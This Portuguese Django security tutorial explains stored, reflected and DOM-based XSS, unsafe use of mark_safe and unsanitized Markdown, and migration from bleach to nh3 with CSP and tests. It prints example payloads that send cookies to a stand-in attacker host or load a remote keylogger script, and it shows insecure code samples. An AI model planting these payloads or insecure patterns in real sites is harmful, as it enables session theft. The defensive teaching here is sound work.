XSS: Ataques Armazenados, Refletidos e Baseados em DOM — e Por Que mark_safe e Markdown Inseguro São Igualmente Perigosos
Django Security Series — Post 2 | Série I: Ataques de Injeção
OWASP A03:2021 — Injection | Tempo de leitura: ~22 min
O Post 1 desta série abordou SQL Injection — um ataque que tem como alvo o banco de dados ao quebrar a barreira entre a estrutura SQL e os dados. O Post 2 sobe na pilha para a camada do navegador: Cross-Site Scripting (XSS), onde a barreira que está sendo quebrada é entre a estrutura HTML e o conteúdo fornecido pelo usuário. Os dois ataques compartilham a mesma causa raiz — tratar entrada não confiável como código confiável — e os dois são agrupados sob OWASP A03:2021 Injeção exatamente por isso.
O mecanismo de templates do Django faz escape automático de HTML por padrão, o que bloqueia a maioria dos ataques XSS de forma transparente. Mas o auto-escaping tem saídas deliberadas: mark_safe(), o filtro | safe e blocos {% autoescape off %}. Usadas com descuido — ou aplicadas a conteúdo que já passou por um renderizador de Markdown — qualquer uma dessas abre um vetor de XSS que o auto-escaping foi projetado para prevenir. O risco é agravado pelo padrão comum de renderizar Markdown enviado pelo usuário: o próprio conversor Markdown passa HTML bruto sem modificações, o que significa que chamar mark_safe() na sua saída sem sanitizar antes entrega ao atacante execução direta de código no navegador dos seus leitores.
Há também uma descontinuação de biblioteca que todo projeto Django que renderiza Markdown deve resolver. O bleach, a biblioteca de sanitização de HTML mais amplamente usada no ecossistema Python, foi descontinuada pela Mozilla em janeiro de 2023. Ainda funciona — a versão 6.x é o lançamento final — mas não recebe mais patches de segurança e tem uma lacuna conhecida: não remove URIs javascript: de atributos permitidos como href sem um callback customizado. O substituto com manutenção ativa é o nh3, um binding Python para o sanitizador Ammonia baseado em Rust, que remove esquemas de URL inseguros por padrão.
Neste post, vamos destrinchar como o XSS funciona na prática, onde as proteções padrão do Django ficam aquém, e como montar um pipeline de Markdown que não vai explodir na sua cara quando um usuário resolver ser criativo com uma tag <script>.
O Ataque: O Que É e Como Funciona
Cross-Site Scripting ocorre quando uma aplicação inclui dados não confiáveis em uma página web sem a codificação de saída adequada — permitindo que um atacante execute scripts no navegador de uma vítima no contexto da origem da aplicação. O navegador não consegue distinguir entre scripts que o desenvolvedor pretendia e scripts que o atacante injetou: ambos chegam no mesmo documento HTML, do mesmo domínio, com acesso aos mesmos cookies, DOM e armazenamento.
O nome 'Cross-Site Scripting' é basicamente um artefato histórico a esta altura. Na prática, significa apenas que um atacante encontrou uma forma de executar o próprio código dentro dos navegadores dos seus usuários. Um ataque XSS bem-sucedido dá ao atacante o mesmo acesso ao DOM que o seu próprio JavaScript tem: ele pode ler cookies de sessão, capturar teclas digitadas, fazer requisições autenticadas à API em nome da vítima, redirecionar para uma página de phishing ou minerar criptomoeda em segundo plano.
Vamos descrever os três ataques XSS mais comuns:
XSS Armazenado
O XSS Armazenado é o pior cenário: o payload é escrito no armazenamento de dados da aplicação — um comentário, uma bio de perfil, uma avaliação de produto, um post em fórum — e a partir desse momento, ele é executado no navegador de cada visitante sem nenhuma ação adicional do atacante. Uma única submissão, vítimas ilimitadas. O atacante não precisa continuar enviando links de phishing ou enganando usuários para clicarem em nada; ele simplesmente aguarda enquanto a aplicação faz o trabalho por ele.
A parte forense também é preocupante. O conteúdo malicioso é servido pela própria origem da aplicação via respostas HTTP normais, então os logs do servidor simplesmente mostram carregamentos de página comuns. O navegador da vítima não tem razão para emitir alarmes — o script vem de um domínio confiável. O padrão SESSION_COOKIE_HTTPONLY = True do Django impede que document.cookie vaze o cookie de sessão em si, o que fecha o caminho mais óbvio de exfiltração — mas o XSS ainda pode ler tokens CSRF do DOM, executar ações autenticadas dentro da página, registrar teclas digitadas ou reescrever a UI, então o HttpOnly é uma mitigação parcial, não uma correção.
Exemplo concreto: um campo de comentário que armazena e renderiza a entrada do usuário sem sanitização. Um atacante envia o corpo do comentário <script>document.location='https://attacker.example/steal?c='+document.cookie</script>. O comentário é salvo no banco de dados. Todo visitante subsequente que carregar a página executa esse script no seu navegador: qualquer token que o script consiga alcançar é exfiltrado para o servidor do atacante, e a vítima nunca percebe nada de incomum — o script roda silenciosamente em segundo plano. O atacante submeteu o payload uma vez; cada carregamento futuro da página é uma reexecução automática.
XSS Refletido
No XSS Refletido, o payload viaja na URL ou no envio do formulário, é ecoado de volta na resposta do servidor e desaparece — nunca é escrito em disco. Isso o faz parecer menos perigoso que o Armazenado, mas o problema de entrega costuma ser mais fácil de resolver do que parece. O link criado pode ser enterrado dentro de um e-mail de phishing com um remetente falsificado, encurtado por um serviço de URL, embutido em um QR code, ou deslizado em uma mensagem de chat. Uma vez que a vítima clica, o payload é executado no contexto do site legítimo, com o mesmo acesso ao DOM que o próprio JavaScript da aplicação tem.
Do ponto de vista de detecção, é quase invisível: o log de acesso do servidor registra uma única requisição de página completamente normal, e nada é deixado para trás após o envio da resposta.
Exemplo concreto: uma view de busca que ecoa o termo da consulta de volta na página com <p>No results for: {{ query }}</p>. Se query é renderizado com | safe ou a view o passa por mark_safe(), um atacante pode criar uma URL como https://example.com/search/?q=<script>fetch('https://attacker.example/?c='+document.cookie)</script> e distribuí-la por e-mail de phishing. Qualquer usuário que clicar no link executa o payload no contexto do site legítimo — com acesso total aos cookies e ao DOM daquele site — mesmo que nada malicioso esteja armazenado no servidor.
XSS Baseado em DOM
O XSS Baseado em DOM não toca o servidor. A vulnerabilidade está em JavaScript do lado do cliente que lê de uma fonte controlada pelo atacante — location.hash, document.referrer, URLSearchParams — e escreve esse valor em um sink perigoso como innerHTML, document.write ou eval. A camada de template do Django está completamente fora da equação; a resposta do servidor pode estar perfeitamente limpa e o ataque ainda funciona.
É isso que o torna especialmente complicado: WAFs, validação no lado do servidor e ferramentas de varredura em nível HTTP são todas cegas a ele. A vulnerabilidade existe apenas no próprio código JavaScript. A correção é geralmente simples em princípio — use innerText ou textContent em vez de innerHTML ao inserir texto não confiável no DOM, e evite eval e new Function(string) com qualquer coisa que tenha vindo da URL — mas isso requer saber onde esses padrões perigosos existem no seu JavaScript.
Vale ser explícito sobre o motivo pelo qual o Django não pode ajudar aqui: os navegadores nunca enviam o fragmento (#...) ao servidor como parte da requisição HTTP. O Django literalmente nunca o vê. Nenhum middleware, filtro de template ou view consegue inspecionar ou sanitizar um valor que existe apenas no navegador. A única alavanca do lado do servidor que o Django tem é o cabeçalho Content-Security-Policy — já abordado mais adiante neste post — que atua como uma última linha de defesa restringindo quais scripts o navegador pode executar. Um complemento mais recente é o Trusted Types (require-trusted-types-for 'script'), uma diretiva CSP que força toda escrita no DOM a passar por uma política JavaScript tipada: passar uma string bruta para innerHTML lança um TypeError em tempo de execução e, com o reporte de CSP configurado, dispara um relatório de violação. O Django pode entregar esse cabeçalho via django-csp, mas escrever a própria política Trusted Types ainda é trabalho de JavaScript.
Exemplo concreto: uma página lê um identificador de fragmento para pré-preencher um elemento da interface com document.getElementById('welcome').innerHTML = decodeURIComponent(location.hash.slice(1)). Um atacante distribui a URL https://example.com/dashboard/#<img src=x onerror=fetch('https://attacker.example/?c='+document.cookie)>. O servidor retorna sua resposta normal e não modificada — não há nada suspeito no tráfego HTTP. O navegador então executa o JavaScript, lê o fragmento, o escreve em innerHTML, e o manipulador onerror injetado é disparado. A camada de template do Django nunca é envolvida.
Como os Atacantes Exploram
O payload de demonstração canônico é <script>alert(1)</script>, mas ataques reais usam payloads mais capazes — e suas capacidades são as mesmas em todas as três variantes; apenas o vetor de entrega muda:
| Padrão de payload | O que faz |
|---|---|
<script>document.location='https://attacker.example/?c='+document.cookie</script> |
Exfiltra cookies de sessão |
<img src=x onerror="fetch('/api/action',{method:'POST',credentials:'include'})"> |
Realiza uma ação autenticada em nome da vítima |
<script src="https://attacker.example/keylogger.js"></script> |
Carrega um payload remoto para persistência |
Atributos HTML fornecem pontos de injeção alternativos quando tags <script> são removidas mas manipuladores de eventos não são: <img src=x onerror=...>, <svg onload=...>, <body onpageshow=...>. Em Markdown especificamente, os alvos de links são um vetor crítico: [clique aqui](javascript:alert(document.cookie)) renderiza como <a href="javascript:alert(document.cookie)">clique aqui</a> — Markdown válido, XSS válido, e um que o bleach não bloqueia sem configuração adicional.
O MITRE ATT&CK mapeia a captura de credenciais para T1056.003 (Captura de Entrada: Captura de Portal Web) e a execução inicial de código para T1059.007 (Intérprete de Comando e Script: JavaScript).
Incidentes Reais
O Worm XSS do TweetDeck (2014)
Em junho de 2014, um adolescente austríaco (handle @firoxl) estava experimentando com o TweetDeck — o painel oficial do Twitter para usuários avançados — tentando fazer o serviço exibir o caractere unicode ♥. No processo, ele descobriu que o TweetDeck renderizava o conteúdo dos tweets como HTML bruto, sem sanitização, dentro de sua interface de colunas. Ele reportou a vulnerabilidade ao Twitter pouco depois, mas o problema já estava público — em poucas horas, outro usuário criou um worm autorreplicante usando a mesma falha: um único tweet contendo uma tag <script> que se retuitava automaticamente a partir da conta de cada usuário do TweetDeck que o carregava no feed. No momento de publicação do artigo do The Guardian, o tweet do worm havia acumulado mais de 81.500 retuites. O Twitter suspendeu completamente o serviço TweetDeck enquanto os engenheiros corrigiam a camada de renderização.
O incidente do TweetDeck em 2014 é um exemplo real perfeito de como o XSS Armazenado pode sair do controle rapidamente — e de como uma vulnerabilidade descoberta acidentalmente, reportada de forma responsável e explorada por terceiros pode ainda assim causar dano massivo na janela entre a divulgação e o patch. A fórmula foi dolorosamente simples: um pipeline de renderização sem sanitizador de HTML, um campo de conteúdo gerado pelo usuário, e cada visitante subsequente executa o que foi armazenado. MITRE ATT&CK T1059.007 (Intérprete de Comando e Script: JavaScript). A correção foi uma única mudança nesse pipeline: passar o conteúdo do tweet por um sanitizador de HTML antes de inseri-lo no DOM — exatamente o passo nh3.clean() que o pipeline seguro deste post adiciona entre markdown.markdown() e mark_safe(). Para desenvolvedores Django o paralelo é direto: um campo de comentário, uma bio de usuário, uma avaliação de produto — qualquer campo que armazena conteúdo de um usuário e o exibe para outros se torna o ponto de entrada deste worm se chegar ao navegador sem sanitização.
Proteções Padrão do Django
O mecanismo de templates do Django faz escape automático de toda saída de variáveis por padrão. O escape automático é o processo de converter automaticamente os caracteres que têm significado especial em HTML nos seus equivalentes de texto seguro antes de serem escritos na página — assim, um valor como <script> é exibido como texto visível em vez de ser executado como markup. Quando você escreve {{ variavel }} em um template, o Django converte cinco caracteres antes de inserir o valor no HTML:
| Caractere | Escapado como |
|---|---|
< |
< |
> |
> |
' |
' |
" |
" |
& |
& |
Um payload armazenado de <script>alert(1)</script> em um campo de model renderiza como <script>alert(1)</script> — texto visível inofensivo no navegador, nunca interpretado como HTML. O auto-escaping é aplicado a toda expressão {{ variavel }} automaticamente, sem nenhuma ação do desenvolvedor.
O auto-escaping se aplica independentemente da origem do valor — um campo de model do banco de dados, um parâmetro de consulta de URL (request.GET), um envio de formulário (request.POST) ou qualquer outra fonte. A origem dos dados não faz diferença; o mecanismo de templates faz o escape de todo {{ variavel }} da mesma forma.
Essa proteção se aplica à etapa de codificação de saída — a transformação final antes de o HTML ser enviado ao navegador. Ela tem três limitações que os desenvolvedores precisam conhecer:
- Bypasses declarados pelo desenvolvedor —
mark_safe(), o filtro| safee blocos{% autoescape off %}desativam o auto-escaping completamente para os valores que tocam. Esses casos são abordados na próxima seção. - Blocos
<script>em templates — o Django ainda faz escape HTML de expressões{{ variavel }}dentro de uma tag<script>, mas o escape HTML é a codificação errada para o contexto JavaScript: um valor escapado como"; fetch(...);//ainda é JavaScript válido e ainda executa. A estratégia correta é a codificação JSON viajson_script. Isso é abordado no Padrão Vulnerável § 5. - XSS Baseado em DOM — se o JavaScript no lado do cliente lê de uma fonte controlada pelo atacante (
location.hash,URLSearchParams,document.referrer) e escreve em um sink perigoso (innerHTML,document.write,eval), o ataque nunca toca o servidor. O escape de template do Django não está envolvido e não oferece proteção. Essa variante é abordada na seção O Ataque acima.
Padrão Vulnerável: O Que NÃO Fazer
1. mark_safe() em Conteúdo Fornecido pelo Usuário
Para entender por que mark_safe() é perigoso em entrada de usuário, é preciso primeiro entender por que ele existe.
O mecanismo de templates do Django faz escape de todo {{ variavel }} por padrão, convertendo <script> em <script> antes de escrevê-lo na página. Isso é correto para valores de texto simples, mas é um problema quando o desenvolvedor precisa renderizar HTML legitimamente. Se um desenvolvedor já construiu uma string HTML segura — por exemplo, um menu de navegação montado em código Python que contém tags <a href="..."> — ele não quer que esses colchetes angulares sejam escapados como texto visível. mark_safe() é a declaração do desenvolvedor ao Django: "Eu verifiquei que esta string é HTML seguro; renderize-a como markup, não como texto."
Toda a garantia de segurança depende de essa declaração ser verdadeira. O Django não a verifica. Ele confia completamente no desenvolvedor.
# INSEGURO — marca string controlada pelo atacante como HTML confiável
from django.utils.safestring import mark_safe
def renderizar_bio_usuario(bio_text):
return mark_safe(bio_text) # auto-escaping agora permanentemente desativado para este valor
Quando mark_safe() é chamado sobre um valor proveniente de entrada do usuário, o desenvolvedor está dizendo ao Django para confiar em conteúdo que ele não escreveu e não controla. O auto-escaping — que teria convertido <script>alert(1)</script> em texto visível inofensivo — é contornado completamente. O template grava a string bruta na página, o navegador a interpreta como HTML e o script é executado. Todo visitante que carregar essa página executa o código do atacante no seu navegador, no contexto do seu domínio, com acesso aos cookies de sessão e ao DOM.
A regra é incondicional: nunca passe um valor que tenha origem em entrada de usuário para mark_safe() sem antes executá-lo por um sanitizador com allowlist.
2. O Filtro | safe e {% autoescape off %}
| safe e {% autoescape off %} resolvem o mesmo problema que mark_safe(), mas na camada de template em vez da camada de view ou template tag. O caso de uso legítimo é idêntico: um desenvolvedor produziu HTML em código Python — talvez um utilitário que gera links de paginação, um widget de formulário que renderiza seu próprio markup, ou uma variável que já foi processada por um sanitizador confiável — e precisa que o template a renderize como HTML em vez de escapá-la como texto.
Ambos são alternativas sintáticas a mark_safe(). Aplicar | safe a uma variável é exatamente equivalente a ter chamado mark_safe() sobre esse valor em Python — define o mesmo sinalizador de HTML confiável no objeto string e ignora o auto-escaping naquele ponto de saída. {% autoescape off %} é mais abrangente: desativa o auto-escaping para toda variável dentro do bloco, não apenas uma.
{{ comentario.corpo | safe }}
{% autoescape off %}
{{ post.conteudo_usuario }}
{% endautoescape %}
O perigo é o mesmo que mark_safe(): se o valor que chega a essas expressões contém conteúdo fornecido pelo usuário, o auto-escaping — a única coisa entre uma tag <script> armazenada e o navegador — desaparece. {% autoescape off %} agrava o risco porque um único bloco mal posicionado silenciosamente desativa a proteção para toda variável dentro dele, inclusive variáveis adicionadas por desenvolvedores futuros que podem não notar que o bloco está lá.
3. Markdown Sem Sanitização
Markdown é usado onde quer que aplicações precisem aceitar texto formatado de usuários sem expor toda a complexidade — e toda a superfície de ataque — de um editor HTML. Um sistema de comentários de blog, um campo de README de projeto, uma bio de usuário, uma avaliação de produto: todos se beneficiam de deixar os usuários escreverem **negrito** ou [um link](https://example.com) sem precisar digitar HTML bruto. O servidor converte essa sintaxe Markdown para HTML no momento da renderização e a exibe na página. É um padrão amplamente adotado exatamente porque parece seguro — Markdown é uma linguagem de markup leve, não HTML, então parece que há uma camada de separação entre a entrada do usuário e a página renderizada.
Não há. A biblioteca Python markdown — o conversor padrão de facto — deliberadamente passa HTML bruto embutido na fonte Markdown direto para sua saída sem modificações. O usuário não está limitado à sintaxe Markdown; ele pode incluir tags <script> literais na entrada e o conversor as passará diretamente para o HTML que produz. Então, porque a aplicação precisa renderizar esse HTML corretamente no navegador, ela chama mark_safe() no resultado — e nesse ponto a tag <script> bruta chega à página sem modificações.
# INSEGURO — markdown.markdown() passa HTML bruto sem modificações
import markdown
from django.utils.safestring import mark_safe
def renderizar_conteudo_usuario(texto):
html = markdown.markdown(texto)
return mark_safe(html) # <script> em 'texto' sobrevive à etapa de markdown
A opção safe_mode da biblioteca foi removida na versão 3.0 (2018) exatamente porque não era um mecanismo de sanitização confiável — a resposta correta sempre foi um sanitizador dedicado downstream. A posição explícita dos mantenedores é que a sanitização pertence a uma biblioteca downstream, não ao conversor em si. Hoje a documentação da biblioteca não faz nenhuma afirmação de sanitização, e o comportamento é inalterado: HTML bruto no Markdown de entrada passa para a saída sem modificações. Um usuário que enviar <script>fetch('https://attacker.example/?c='+document.cookie)</script> no corpo de um post recebe essa tag <script> na saída HTML sem alterações.
4. bleach — Descontinuado; Substitua
bleach foi a biblioteca de sanitização de HTML mais usada no ecossistema Python por mais de uma década. Foi desenvolvida pela Mozilla e usada em produção em larga escala — mais notavelmente como camada de sanitização HTML no Firefox Add-ons Marketplace. Sua função em um pipeline Markdown era exatamente o que a seção anterior descreveu: receber o HTML bruto produzido por markdown.markdown(), remover toda tag e atributo que não estivesse numa lista de permissões explícita, e retornar HTML limpo pronto para ser passado a mark_safe(). Por anos, se você pesquisasse "Django sanitizar HTML" ou "Python bleach Markdown", o padrão bleach era a resposta padrão.
A Mozilla descontinuou o bleach em 23 de janeiro de 2023. A versão final é a 6.x. Ainda funciona como pacote Python, mas não recebe mais patches de segurança. O aviso de descontinuação aponta diretamente para nh3 como substituto recomendado.
Além da descontinuação, o bleach tem uma lacuna estrutural que o torna insuficiente mesmo na versão 6.x: ele não inspeciona o conteúdo dos valores de atributos permitidos. href é um atributo legítimo em tags <a> e pertence a qualquer lista de permissões. Mas o bleach não valida o que o href contém — por isso <a href="javascript:alert(document.cookie)"> passa por bleach.clean() sem modificações quando href é permitido. O padrão Markdown [clique aqui](javascript:alert(1)) é uma entrada válida, produz essa tag <a> após a etapa de Markdown, e chega ao navegador como um vetor XSS ativo.
Se sua base de código usa bleach, migre para
nh3. Não adicione bleach a projetos novos.
Bleach ainda está presente em um grande número de bases de código Django em produção escritas antes de 2023. Se você encontrá-lo em um projeto existente, precisa reconhecer o padrão, entender exatamente onde está a lacuna, e saber o que substituir.
# PARCIALMENTE INSEGURO — bleach remove <script> mas não hrefs javascript: por padrão
import bleach
TAGS_PERMITIDAS = ['a', 'p', 'strong'] # ... lista completa de tags
ATTRS_PERMITIDOS = {'a': ['href', 'title']}
limpo = bleach.clean(html, tags=TAGS_PERMITIDAS, attributes=ATTRS_PERMITIDOS, strip=True)
# Um link como <a href="javascript:alert(1)">texto</a> sobrevive a esta chamada
O substituto seguro é o nh3 (abordado na próxima seção). Ele encapsula a biblioteca Rust Ammonia, que aplica uma lista de permissões de esquemas de URL a todo atributo do tipo URL por padrão — URIs javascript: e data: são removidas sem nenhuma configuração extra. A migração é uma pequena mudança de API: troque import bleach por import nh3, mude os literais list para set nos parâmetros tags e attributes, e remova o argumento strip=True (o Ammonia sempre remove). Retire bleach e webencodings do requirements.txt e adicione nh3.
5. Contexto JavaScript: Blocos <script>
O auto-escaping do Django é um escape de contexto HTML: ele converte os cinco caracteres que quebram a estrutura HTML. Ele não faz nada dentro de um bloco <script>, porque dentro de JavaScript o escape HTML é a codificação errada — produz código quebrado, não código seguro.
Um padrão que parece seguro mas não é:
<script>
var username = "{{ request.user.username }}";
</script>
Se username for "; fetch('https://attacker.example/?c='+document.cookie);//, a saída escapada ainda é JavaScript válido que executa o payload. Entidades HTML como < e > não têm significado especial em uma string JS — o mecanismo JavaScript do navegador lê os caracteres brutos antes que as entidades HTML entrem em jogo.
A correção correta é o filtro built-in do Django json_script, que serializa o valor em um bloco <script> codificado como JSON usando um atributo id referenciado pelo seu próprio JavaScript:
{{ request.user.username | json_script:"username-data" }}
<script>
var username = JSON.parse(document.getElementById('username-data').textContent);
</script>
json_script faz o encode HTML da saída JSON para evitar que a string quebre o bloco <script>, e evita a interpolação inline de string completamente — o valor é passado pelo DOM como um nó de dados, nunca concatenado diretamente no código-fonte JavaScript.
A regra é: nunca interpole dados do usuário diretamente em um bloco <script> com {{ variavel }}. Use json_script e leia o valor do DOM no seu JavaScript.
Implementação Segura: O Jeito Django
O padrão seguro para renderizar Markdown de fontes não confiáveis é sempre um pipeline de dois passos:
- Converter Markdown para HTML (responsabilidade da biblioteca Markdown)
- Sanitizar o HTML contra uma lista de permissões (responsabilidade do sanitizador)
Somente após ambos os passos é seguro chamar mark_safe().
O Pipeline Legado (bleach — descontinuado, sem mais patches)
Esse padrão é comum em bases de código Django existentes. É mostrado aqui para que você possa reconhecê-lo e entender a lacuna antes de migrar para o
nh3.
Uma template tag Django típica que implementa o pipeline de Markdown com bleach tem esta forma:
import re
import markdown as _md
import bleach
from django import template
from django.utils.safestring import mark_safe
register = template.Library()
BLOG_ALLOWED_TAGS = [
'p', 'br', 'strong', 'em', 'ul', 'ol', 'li', 'blockquote',
'pre', 'code', 'h1', 'h2', 'h3', 'h4', 'h5', 'h6',
'a', 'img', 'table', 'thead', 'tbody', 'tr', 'th', 'td',
]
BLOG_ALLOWED_ATTRIBUTES = {
'a': ['href', 'title', 'target', 'rel'],
'img': ['src', 'alt', 'title', 'width', 'height'],
'code': ['class'],
'pre': ['class'],
}
@register.filter(name='markdown')
def markdown_filter(value):
if not value:
return mark_safe('')
value = re.sub(r'', '', str(value), flags=re.DOTALL)
raw_html = _md.markdown(str(value), extensions=['fenced_code', 'tables', 'nl2br'])
clean_html = bleach.clean(
raw_html,
tags=BLOG_ALLOWED_TAGS,
attributes=BLOG_ALLOWED_ATTRIBUTES,
strip=True, # remove tags não permitidas em vez de escapá-las
)
return mark_safe(clean_html)
O argumento strip=True remove tags não permitidas da saída em vez de fazer escape delas. A lacuna, como mencionado, são URIs javascript: em href — o bleach as deixa passar porque href está na lista de permissões.
Migrando para nh3
O nh3 encapsula a biblioteca Rust Ammonia, que aplica uma lista de permissões de esquemas de URL a todo atributo do tipo URL. Uma lista de permissões conservadora de esquemas de URL seguros é aplicada por padrão — incluindo http, https, mailto, tel e alguns outros (veja nh3.ALLOWED_URL_SCHEMES); URIs javascript: e data: são removidas sem nenhuma configuração adicional. O parâmetro url_schemes permite customizar esse conjunto conforme necessário.
As diferenças de API em relação ao bleach são mínimas: o nh3 usa objetos set do Python em vez de listas para tags e attributes. A lógica do pipeline é idêntica:
import re
import markdown as _md
import nh3
from django import template
from django.utils.safestring import mark_safe
register = template.Library()
BLOG_ALLOWED_TAGS = {
'p', 'br', 'strong', 'em', 'ul', 'ol', 'li', 'blockquote',
'pre', 'code', 'h1', 'h2', 'h3', 'h4', 'h5', 'h6',
'a', 'img', 'table', 'thead', 'tbody', 'tr', 'th', 'td',
}
BLOG_ALLOWED_ATTRIBUTES = {
'a': {'href', 'title', 'target', 'rel'},
'img': {'src', 'alt', 'title', 'width', 'height'},
'code': {'class'},
'pre': {'class'},
}
@register.filter(name='markdown')
def markdown_filter(value):
if not value:
return mark_safe('')
value = re.sub(r'', '', str(value), flags=re.DOTALL)
raw_html = _md.markdown(str(value), extensions=['fenced_code', 'tables', 'nl2br'])
clean_html = nh3.clean(
raw_html,
tags=BLOG_ALLOWED_TAGS,
attributes=BLOG_ALLOWED_ATTRIBUTES,
)
return mark_safe(clean_html)
O nh3 não precisa de um parâmetro strip — o Ammonia sempre remove conteúdo não permitido.
A Regra Invariante
Onde quer que mark_safe() apareça em código que manipula conteúdo fornecido pelo usuário, uma chamada ao sanitizador deve precedê-lo:
# SEMPRE: sanitize primeiro, marque como seguro depois
limpo = nh3.clean(html_usuario, tags=TAGS_PERMITIDAS, attributes=ATTRS_PERMITIDOS)
return mark_safe(limpo)
# NUNCA: marque como seguro sem sanitizar
return mark_safe(html_usuario)
Content Security Policy
A sanitização impede que HTML malicioso seja armazenado e renderizado desde o início. A Content Security Policy (CSP) é a camada de proteção no nível do navegador que atua quando a sanitização falha — uma configuração incorreta, um caso limite da lista de permissões ou um vetor de bypass imprevisto. Um cabeçalho CSP informa ao navegador quais fontes de script ele pode executar; uma tag <script> injetada que sobreviver à sanitização é bloqueada na fase de execução antes de rodar.
CSP é defesa em profundidade, não um substituto para a sanitização. Em uma postura de defesa em profundidade, ambas as camadas pertencem ao design.
Configurando CSP no Django
O pacote django-csp (mantido pela Mozilla) adiciona um cabeçalho Content-Security-Policy a toda resposta via middleware. A partir do django-csp 4.0, a configuração usa um único dicionário aninhado em vez das antigas variáveis planas CSP_*:
pip install django-csp
# settings.py — sintaxe django-csp 4.0+
INSTALLED_APPS = [..., 'csp']
MIDDLEWARE = [..., 'csp.middleware.CSPMiddleware']
CONTENT_SECURITY_POLICY = {
"DIRECTIVES": {
"default-src": ("'none'",),
"script-src": ("'self'",),
"style-src": ("'self'",),
"img-src": ("'self'", "data:"),
"font-src": ("'self'",),
"connect-src": ("'self'",),
"base-uri": ("'none'",),
"form-action": ("'self'",),
"frame-ancestors": ("'none'",),
},
}
A diretiva script-src: 'self' restringe a execução de scripts a arquivos servidos da sua própria origem. Um <script>alert(1)</script> injetado (inline) e um <script src="https://attacker.example/evil.js"> (externo) são ambos bloqueados — o navegador recusa executá-los independentemente do que o HTML contiver.
Diretivas Principais
| Diretiva | Valor recomendado | O que restringe |
|---|---|---|
default-src |
'none' |
Fallback para todos os tipos de recurso não listados explicitamente |
script-src |
'self' |
Execução de scripts — bloqueia <script> inline e origens de script externas |
style-src |
'self' |
Carregamento de folhas de estilo |
img-src |
'self' data: |
Fontes de imagem |
base-uri |
'none' |
Impede injeção de tag <base> que sequestra URLs relativas |
form-action |
'self' |
Impede que formulários enviem dados para endpoints controlados pelo atacante |
frame-ancestors |
'none' |
Previne clickjacking (substitui X-Frame-Options: DENY) |
Modo Report-Only
Antes de aplicar uma política em produção, use Content-Security-Policy-Report-Only para auditar violações sem bloquear nada. Essa é a forma segura de implantar uma política restrita em um site em produção:
# settings.py — fase de auditoria (django-csp 4.0+)
CONTENT_SECURITY_POLICY_REPORT_ONLY = {
"DIRECTIVES": {
# ... mesmas diretivas de CONTENT_SECURITY_POLICY ...
"report-uri": ("/csp-report/",),
},
}
Após resolver todas as violações, substitua CONTENT_SECURITY_POLICY_REPORT_ONLY por CONTENT_SECURITY_POLICY para aplicar a política.
Nota: Adicionar
'unsafe-inline'aoscript-srcdesativa completamente a proteção contra injeção de script inline e anula grande parte do valor de XSS da CSP. Evite isso. Mova quaisquer blocos<script>inline para arquivos.jsexternos antes de implantar uma política restrita. Como Malcolm McDonald observa em Web Security for Developers: “Essa separação do JavaScript em arquivos externos é a abordagem preferida no desenvolvimento web, pois resulta em uma base de código mais organizada. Tags de script inline são consideradas má prática no desenvolvimento web moderno, portanto proibir JavaScript inline na prática força sua equipe de desenvolvimento a adotar bons hábitos.” A contrapartida é que sites legados com muitos scripts inline precisarão de uma refatoração antes de uma CSP restrita ser viável — mas essa refatoração vale a pena independentemente da CSP.
Checklist de Prevenção de XSS: O Quadro Completo
XSS no Django vem de duas fontes distintas. O auto-escaping cuida da primeira automaticamente. Os demais três controles endereçam os bypasses deliberados:
| Controle | O que cobre |
|---|---|
| Auto-escaping do Django (padrão) | Campos de model comuns em expressões {{ variavel }} — faz escape de <, >, ', ", & automaticamente, sem nenhuma ação do desenvolvedor |
Nunca aplicar mark_safe() / | safe / {% autoescape off %} em entrada do usuário |
As três rotas de bypass explícitas — cada uma desativa o auto-escaping e só deve ser usada em saída que já foi sanitizada |
Sanitização com allowlist via nh3 antes de mark_safe() |
HTML e saída Markdown fornecidos pelo usuário — remove tags não permitidas, atributos de event handlers e esquemas de URL inseguros (javascript:, data:) antes de marcar o valor como seguro |
Substituir bleach por nh3 em bases de código existentes |
Apenas bases de código legadas — fecha a lacuna de URIs javascript: que o bleach carrega em sua versão final 6.x |
Content Security Policy (django-csp) |
Controle de defesa em profundidade no nível do navegador — restringe quais scripts o navegador executará; bloqueia tags <script> injetadas mesmo que a sanitização seja contornada |
Testando Sua Defesa
Testes Unitários
# blog/tests.py
from django.test import TestCase
from blog.templatetags.markdown_extras import markdown_filter
class XSSProtectionTests(TestCase):
def test_tag_script_e_removida(self):
"""Tags <script> brutas no conteúdo do usuário não devem sobreviver como tag executável."""
output = str(markdown_filter('<script>alert(document.cookie)</script>'))
self.assertNotIn('<script', output.lower())
def test_link_javascript_e_removido(self):
"""URI javascript: em link Markdown não deve chegar ao navegador.
Este teste falha com bleach em qualquer configuração sem um callback
customizado de validação de href — é uma lacuna fundamental da API, não um descuido de configuração."""
output = str(markdown_filter('[clique aqui](javascript:alert(1))'))
self.assertNotIn('javascript:', output)
def test_atributo_onerror_e_removido(self):
"""Atributos de manipuladores de eventos em tags HTML brutas devem ser removidos."""
output = str(markdown_filter('<img src=x onerror=alert(1)>'))
self.assertNotIn('onerror', output)
def test_markdown_seguro_renderiza_corretamente(self):
"""Markdown legítimo ainda deve produzir HTML correto após sanitização."""
output = str(markdown_filter('**negrito** e `codigo`'))
self.assertIn('<strong>negrito</strong>', output)
self.assertIn('<code>codigo</code>', output)
Verificação Manual
python manage.py shell
# Após migrar para nh3:
>>> from blog.templatetags.markdown_extras import markdown_filter
>>> markdown_filter('<script>alert(1)</script>')
'' # correto: tag script removida, saída vazia
>>> markdown_filter('[xss](javascript:alert(1))')
# correto: o esquema javascript: é removido — o formato exato de renderização depende da versão do nh3/Ammonia
>>> markdown_filter('<img src=x onerror=alert(1)>')
'<p><img src="x"></p>' # correto: onerror removido, src preservado
>>> markdown_filter('**negrito**')
'<p><strong>negrito</strong></p>' # correto: conteúdo seguro passa corretamente
Varredura Automatizada
Execute scanners específicos de XSS apenas contra o ambiente de homologação:
# dalfox — scanner específico para XSS com análise de DOM e detecção de blind XSS
dalfox url "https://homologacao.example.com/blog/?q=test" --follow-redirects
# XSStrike — scanner de XSS baseado em padrões com motor de fuzzing
python xsstrike.py -u "https://homologacao.example.com/blog/?q=test"
# OWASP ZAP — varredura ativa via interface desktop do ZAP ou zap-cli
zap-cli active-scan --scanners xss "https://homologacao.example.com/blog/?q=test"
Uma aplicação Django corretamente sanitizada deve produzir zero alertas de XSS para campos que passam pelo pipeline Markdown.
